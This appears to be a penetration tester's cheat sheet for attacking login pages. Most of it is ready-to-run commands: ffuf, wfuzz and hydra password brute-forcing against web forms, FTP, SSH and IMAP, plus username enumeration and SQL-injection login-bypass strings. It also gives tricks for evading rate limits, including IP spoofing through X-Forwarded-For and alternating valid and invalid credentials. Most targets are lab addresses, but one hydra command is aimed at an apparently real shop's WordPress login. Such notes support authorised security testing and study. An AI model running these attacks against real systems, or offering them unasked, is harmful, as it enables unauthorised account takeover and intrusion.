Brute-Forcing Login Forms

Bruteforce Login Forms

This is through a proxychains setup. Bruteforce login forms with ffuf through proxychains. Use with chisel for isntance ffuf -u 'http://127.0.0.1:10000/' -w /usr/share/wordlists/rockyou.txt -d 'username=root&password=FUZZ&Submit=Sign+in' -X POST --fc 401 -t 50 -x socks5://127.0.0.1:1080 -H "Content-Type: application/x-www-form-urlencoded" -r

Normal bruteforce: ffuf -u 'http://10.12.41.2:10000/' -w /usr/share/wordlists/rockyou.txt -d 'username=root&password=FUZZ&Submit=Sign+in' -X POST --fc 401 -t 50 -H "Content-Type: application/x-www-form-urlencoded" -r

2FA bypass tehchnique

https://youtu.be/OGh5V-BBAOo?t=1055

Chinging CSRF token

watch 1 min from here: https://youtu.be/C_Kspt_TjBM?t=3100

control characters

https://www.youtube.com/watch?v=VWJenLtVlk4

ASCII table and encoding

maybe this could work on login or other paramaters too. Something like

email=rks@cloud-mail.net&password=FUZZ%0d or email=rks@cloud-mail.net&password=FUZZ%0d%0a or email=rks@cloud-mail.net&password=FUZZ%00

Successful Login Counter Reset

https://www.youtube.com/watch?v=FzQcu9LYd_k

One technique you can do (depending on how webapp is setup) is to alternate between valid credentials and incorrect credentials in a bruteforce attack, sometimes allowing you to bruteforce fast without getting rate limited. Sometimes the webapp allows f.ex 3-5 incorrect passwords then you'll have to wait X amount of time. By going back and forth between valid and invalid credentials, it's sometimes possible to get around this.

Script that makes your wordlist match this pattern: https://github.com/skickar/BashScripting/blob/master/burplist.sh

X-Forwarded-For technique

This technique essentially allows tell the webapp that you are coming from a new IP every time you make a request, possible bypassing protection if it's doing IP based blocking

Use pitchfork attacka against it, sequentually changing IP adress as you bruteforce the password as well.

Checklist

Try:

• Userenum
• Password bruteforce
• SQLI
• Reset password
• Look for API calls in background
• Bypass bruteforce protection

' or 1=1 -- admin' or 1=1 or ''=' https://github.com/payloadbox/sql-injection-payload-list#sql-injection-auth-bypass-payloads

Hydra Bruteforcing

We can for instance use hydra like this

(Note: You can get the parameters used from burp suite response when enumerating)

login-form: hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -V -e nsr -f -t 50 -K

hydra -l admin -P /usr/share/wordlists/rockyou.txt blissgadgetstore.com http-post-form "/wp-login.php:log=^USER^&password=^PASS^&wp-submit=Log:Error" -V -e nsr -f -t 50 -K -I

http-get: hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.54.52 http-get /inferno -V -e nsr -f -t 50 -K

FTP: hydra -l mark -P /usr/share/wordlists/rockyou.txt 10.10.204.203 ftp -V -e nsr -f -t 50 -K

SSH: hydra -l mark -P /usr/share/wordlists/rockyou.txt 10.10.204.203 ssh -V -e nsr -f -t 50 -K

IMAP: hydra -l mark -P /usr/share/wordlists/rockyou.txt 10.10.204.203 imap -V -e nsr -f -t 50 -K

SQLI

Fuzzing SQLI: https://github.com/payloadbox/sql-injection-payload-list#sql-injection-auth-bypass-payloads

01' or 1=1 --
02admin'  or 43=43 or ''='

`

Userenum _ wfuzz

Wfuzz Userenum:

wfuzz -w /usr/share/seclists/Usernames/Names/names.txt -c -d "log=FUZZ&pwd=anything" http://10.11.1.251/wp/wp-login.php wfuzz -w /usr/share/seclists/Usernames/Names/names.txt -c --hl 80 -d "log=FUZZ&pwd=anything" http://10.11.1.251/wp/wp-login.php

wfuzz bruteforcing

Brute forcing http-post-forms:

wfuzz -w /usr/share/wordlists/rockyou.txt -c -d "log=admin&pwd=FUZZ" http://10.11.1.251/wp/wp-login.php wfuzz -w /usr/share/wordlists/rockyou.txt -c --hw 254 -d "log=admin&pwd=FUZZ" http://10.11.1.251/wp/wp-login.php

Zap Bruteforcing

Just send a post request and fuzz the password. Look at the fuzzing history and look for different response header sizes to find what you're looking for.